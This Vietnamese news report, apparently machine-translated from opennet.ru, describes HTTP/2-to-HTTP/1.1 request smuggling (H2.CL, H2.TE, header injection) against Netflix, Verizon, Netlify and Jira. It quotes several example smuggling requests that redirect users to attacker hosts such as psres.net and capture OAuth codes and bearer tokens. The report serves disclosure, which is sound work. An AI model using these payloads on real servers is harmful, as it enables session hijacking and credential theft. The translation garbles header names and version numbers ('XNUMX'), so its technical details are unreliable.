Các hệ thống web trong đó giao diện người dùng chấp nhận các kết nối qua HTTP/2 và truyền chúng đến hệ thống phụ trợ thông qua HTTP/1.1 đã phải đối mặt với một biến thể mới của cuộc tấn công “Lừa đảo yêu cầu HTTP”, cho phép gửi các yêu cầu máy khách được thiết kế đặc biệt tới chèn vào nội dung yêu cầu từ những người dùng khác được xử lý trong cùng một luồng giữa giao diện người dùng và phụ trợ. Cuộc tấn công có thể được sử dụng để chèn mã JavaScript độc hại vào một phiên làm việc với một trang web hợp pháp, vượt qua các hệ thống hạn chế truy cập và chặn các tham số xác thực.
Sự cố ảnh hưởng đến proxy web, bộ cân bằng tải, bộ tăng tốc web, hệ thống phân phối nội dung và các cấu hình khác trong đó các yêu cầu được chuyển hướng theo cách từ đầu đến cuối. Tác giả của nghiên cứu đã chứng minh khả năng tấn công các hệ thống của Netflix, Verizon, Bitbucket, Netlify CDN và Atlassian, đồng thời nhận được 56 nghìn đô la trong các chương trình thưởng cho việc xác định các lỗ hổng. Vấn đề cũng đã được xác nhận trong các sản phẩm của F5 Networks. Sự cố ảnh hưởng một phần đến mod_proxy trong máy chủ Apache http (CVE-2021-33193), dự kiến sẽ có bản sửa lỗi trong phiên bản 2.4.49 (các nhà phát triển đã được thông báo về sự cố vào đầu tháng 3 và có 1.21.1 tháng để khắc phục). Trong nginx, khả năng chỉ định đồng thời tiêu đề “Độ dài nội dung” và “Mã hóa chuyển giao” đã bị chặn trong bản phát hành trước (XNUMX). Các công cụ tấn công đã được bao gồm trong bộ công cụ Burp và có sẵn dưới dạng tiện ích mở rộng Turbo Intruder.
Nguyên tắc hoạt động của phương pháp mới để ghép các yêu cầu vào lưu lượng truy cập tương tự như lỗ hổng được xác định bởi cùng một nhà nghiên cứu hai năm trước, nhưng chỉ giới hạn ở các giao diện người dùng chấp nhận yêu cầu qua HTTP/1.1. Chúng ta hãy nhớ lại rằng trong sơ đồ frontend-backend, các yêu cầu của máy khách được nhận bởi một nút bổ sung - giao diện người dùng, thiết lập kết nối TCP tồn tại lâu dài với backend, nút này xử lý trực tiếp các yêu cầu. Thông qua kết nối chung này, các yêu cầu từ những người dùng khác nhau thường được truyền đi theo chuỗi lần lượt, được phân tách bằng giao thức HTTP.
Cuộc tấn công “Lộn xộn yêu cầu HTTP” cổ điển dựa trên thực tế là giao diện người dùng và phụ trợ diễn giải việc sử dụng tiêu đề HTTP “Độ dài nội dung” (xác định tổng kích thước của dữ liệu trong yêu cầu) và “Mã hóa chuyển: chunked” (cho phép dữ liệu được truyền theo từng phần) khác nhau. . Ví dụ: nếu giao diện người dùng chỉ hỗ trợ "Độ dài nội dung" nhưng bỏ qua "Mã hóa chuyển: chunked", thì kẻ tấn công có thể gửi yêu cầu chứa cả tiêu đề "Độ dài nội dung" và "Mã hóa chuyển: chunked", nhưng kích thước là "Độ dài nội dung" không khớp với kích thước của chuỗi chunk. Trong trường hợp này, giao diện người dùng sẽ xử lý và chuyển hướng yêu cầu theo “Độ dài nội dung” và phần phụ trợ sẽ chờ hoàn thành khối dựa trên “Transfer-Encoding: chunked” và phần đuôi còn lại của yêu cầu của kẻ tấn công sẽ ở đầu yêu cầu của người khác được truyền tiếp theo.
Không giống như giao thức văn bản HTTP/1.1, được phân tích cú pháp ở cấp dòng, HTTP/2 là giao thức nhị phân và thao tác các khối dữ liệu có kích thước được chỉ định trước. Tuy nhiên, HTTP/2 sử dụng các tiêu đề giả tương ứng với các tiêu đề HTTP thông thường. Trong trường hợp tương tác với phần phụ trợ thông qua giao thức HTTP/1.1, giao diện người dùng sẽ dịch các tiêu đề giả này thành các tiêu đề HTTP tương tự HTTP/1.1. Vấn đề là phần phụ trợ đưa ra quyết định phân tích luồng dựa trên các tiêu đề HTTP do giao diện người dùng đặt mà không có thông tin về các tham số của yêu cầu ban đầu.
Đặc biệt, các giá trị “độ dài nội dung” và “mã hóa truyền” có thể được truyền dưới dạng tiêu đề giả, mặc dù thực tế là chúng không được sử dụng trong HTTP/2, vì kích thước của tất cả dữ liệu được xác định trong một lĩnh vực riêng biệt. Tuy nhiên, trong quá trình chuyển đổi yêu cầu HTTP/2 thành HTTP/1.1, các tiêu đề này được chuyển sang và có thể gây nhầm lẫn cho phần phụ trợ. Có hai biến thể tấn công chính: H2.TE và H2.CL, trong đó phần phụ trợ bị đánh lừa bởi giá trị mã hóa truyền hoặc độ dài nội dung không chính xác không tương ứng với kích thước thực tế của nội dung yêu cầu mà giao diện người dùng nhận được thông qua giao diện người dùng. Giao thức HTTP/2.
Một ví dụ về cuộc tấn công H2.CL là chỉ định kích thước không chính xác trong tiêu đề giả có độ dài nội dung khi gửi yêu cầu HTTP/2 tới Netflix. Yêu cầu này dẫn đến việc bổ sung Độ dài nội dung tiêu đề HTTP tương tự khi truy cập phần phụ trợ qua HTTP/1.1, nhưng do kích thước trong Độ dài nội dung được chỉ định nhỏ hơn kích thước thực tế nên một phần dữ liệu ở phần đuôi được xử lý dưới dạng đầu của yêu cầu tiếp theo.
Ví dụ: yêu cầu HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Sẽ dẫn đến yêu cầu được gửi đến chương trình phụ trợ: POST /n HTTP/1.1 Máy chủ: www.netflix.com Độ dài nội dung: 4 abcdGET /n HTTP/1.1 Máy chủ: 02.rs?x.netflix.com Foo: bar
Vì Độ dài nội dung có giá trị là 4 nên phần phụ trợ sẽ chỉ chấp nhận “abcd” làm nội dung của yêu cầu và phần còn lại của “GET /n HTTP/1.1…” sẽ được xử lý làm phần đầu của yêu cầu tiếp theo liên kết với người dùng khác. Theo đó, luồng sẽ không được đồng bộ hóa và để đáp ứng yêu cầu tiếp theo, kết quả xử lý yêu cầu giả sẽ được đưa ra. Trong trường hợp của Netflix, việc chỉ định máy chủ của bên thứ ba trong tiêu đề “Máy chủ:” trong một yêu cầu giả sẽ dẫn đến việc khách hàng trả về phản hồi “Vị trí: https://02.rs?x.netflix.com/n” và cho phép gửi nội dung tùy ý đến máy khách, bao gồm Chạy mã JavaScript của bạn trong ngữ cảnh của trang Netflix.
Tùy chọn tấn công thứ hai (H2.TE) liên quan đến việc thay thế tiêu đề “Transfer-Encoding: chunked”. Việc sử dụng tiêu đề giả mã hóa truyền trong HTTP/2 bị cấm theo đặc tả và các yêu cầu đi kèm với nó được quy định là được coi là không chính xác. Mặc dù vậy, một số cách triển khai giao diện người dùng không tính đến yêu cầu này và cho phép sử dụng tiêu đề giả mã hóa chuyển trong HTTP/2, được chuyển đổi thành tiêu đề HTTP tương tự. Nếu có tiêu đề “Mã hóa chuyển giao”, phần phụ trợ có thể coi tiêu đề đó ở mức ưu tiên cao hơn và phân tích từng phần dữ liệu ở chế độ “chunked” bằng cách sử dụng các khối có kích thước khác nhau ở định dạng “{size}\r\n{block }\r\n{size} \r\n{block}\r\n0", bất chấp sự phân chia ban đầu theo kích thước tổng thể.
Sự hiện diện của khoảng cách như vậy đã được chứng minh bằng ví dụ của Verizon. Vấn đề liên quan đến cổng xác thực và hệ thống quản lý nội dung, vốn cũng được sử dụng trên các trang như Huffington Post và Engadget. Ví dụ: một yêu cầu của khách hàng qua HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Dẫn đến việc gửi yêu cầu HTTP/1.1 tới phần phụ trợ: POST /identity/XUI HTTP/1.1 Máy chủ: id.b2b.oath.com Độ dài nội dung: 66 Mã hóa chuyển: chunked 0 GET /oops HTTP/1.1 Host: psres. Nội dung ròng- Độ dài: 10x=
Ngược lại, phần phụ trợ đã bỏ qua tiêu đề "Độ dài nội dung" và thực hiện phân tách trong luồng dựa trên "Mã hóa truyền: chunked". Trên thực tế, cuộc tấn công có thể chuyển hướng yêu cầu của người dùng đến trang web của họ, bao gồm việc chặn các yêu cầu liên quan đến xác thực OAuth, các tham số được hiển thị trong tiêu đề Người giới thiệu, cũng như mô phỏng phiên xác thực và kích hoạt hệ thống của người dùng gửi thông tin xác thực. tới máy chủ của kẻ tấn công. GET /b2blanding/show/oops HTTP/1.1 Máy chủ: psres.net Người giới thiệu: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Máy chủ: psres.net Ủy quyền: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Để tấn công việc triển khai HTTP/2 không cho phép chỉ định tiêu đề giả mã hóa chuyển, một phương pháp khác đã được đề xuất liên quan đến việc thay thế tiêu đề “Mã hóa chuyển” bằng cách gắn nó vào các tiêu đề giả khác được phân tách bằng ký tự dòng mới ( khi được chuyển đổi thành HTTP/1.1 trong trường hợp này sẽ tạo hai tiêu đề HTTP riêng biệt).
Ví dụ: Atlassian Jira và Netlify CDN (được sử dụng để phục vụ trang bắt đầu Mozilla trong Firefox) đã bị ảnh hưởng bởi sự cố này. Cụ thể, yêu cầu HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Độ dài nội dung: 5\r\n \r\nx=
dẫn đến yêu cầu HTTP/1.1 POST / HTTP/1.1 được gửi đến phần phụ trợ\r\n Máy chủ: start.mozilla.org\r\n Foo: b\r\n Mã hóa chuyển: chunked\r\n Độ dài nội dung : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Máy chủ: evil-netlify-domain\r\n Độ dài nội dung: 5\r\n \r \nx=
Một tùy chọn khác để thay thế tiêu đề “Mã hóa chuyển giao” là gắn nó vào tên của một tiêu đề giả khác hoặc vào một dòng có phương thức yêu cầu. Ví dụ: khi truy cập Atlassian Jira, tên tiêu đề giả "foo: bar\r\ntransfer-encoding" với giá trị "chunked" khiến tiêu đề HTTP "foo: bar" và "transfer-encoding: chunked" được thêm vào và chỉ định giá trị ":method" của tiêu đề giả "GET / HTTP/1.1\r\nTransfer-encoding: chunked" đã được dịch thành "GET / HTTP/1.1\r\ntransfer-encoding: chunked".
Nhà nghiên cứu xác định vấn đề cũng đề xuất một kỹ thuật tạo đường hầm yêu cầu để tấn công các giao diện người dùng, trong đó mỗi địa chỉ IP thiết lập một kết nối riêng biệt với phần phụ trợ và lưu lượng truy cập từ những người dùng khác nhau không bị trộn lẫn. Kỹ thuật được đề xuất không cho phép can thiệp vào các yêu cầu từ người dùng khác, nhưng có thể gây độc cho bộ đệm chung ảnh hưởng đến việc xử lý các yêu cầu khác và cho phép thay thế các tiêu đề HTTP nội bộ được sử dụng để truyền thông tin dịch vụ từ giao diện người dùng sang phụ trợ ( ví dụ: khi xác thực ở phía giao diện người dùng trong các tiêu đề như vậy có thể truyền thông tin về người dùng hiện tại đến phần phụ trợ). Như một ví dụ về việc áp dụng phương pháp này trong thực tế, sử dụng ngộ độc bộ đệm, có thể giành quyền kiểm soát các trang trong dịch vụ Bitbucket.
Nguồn: opennet.ru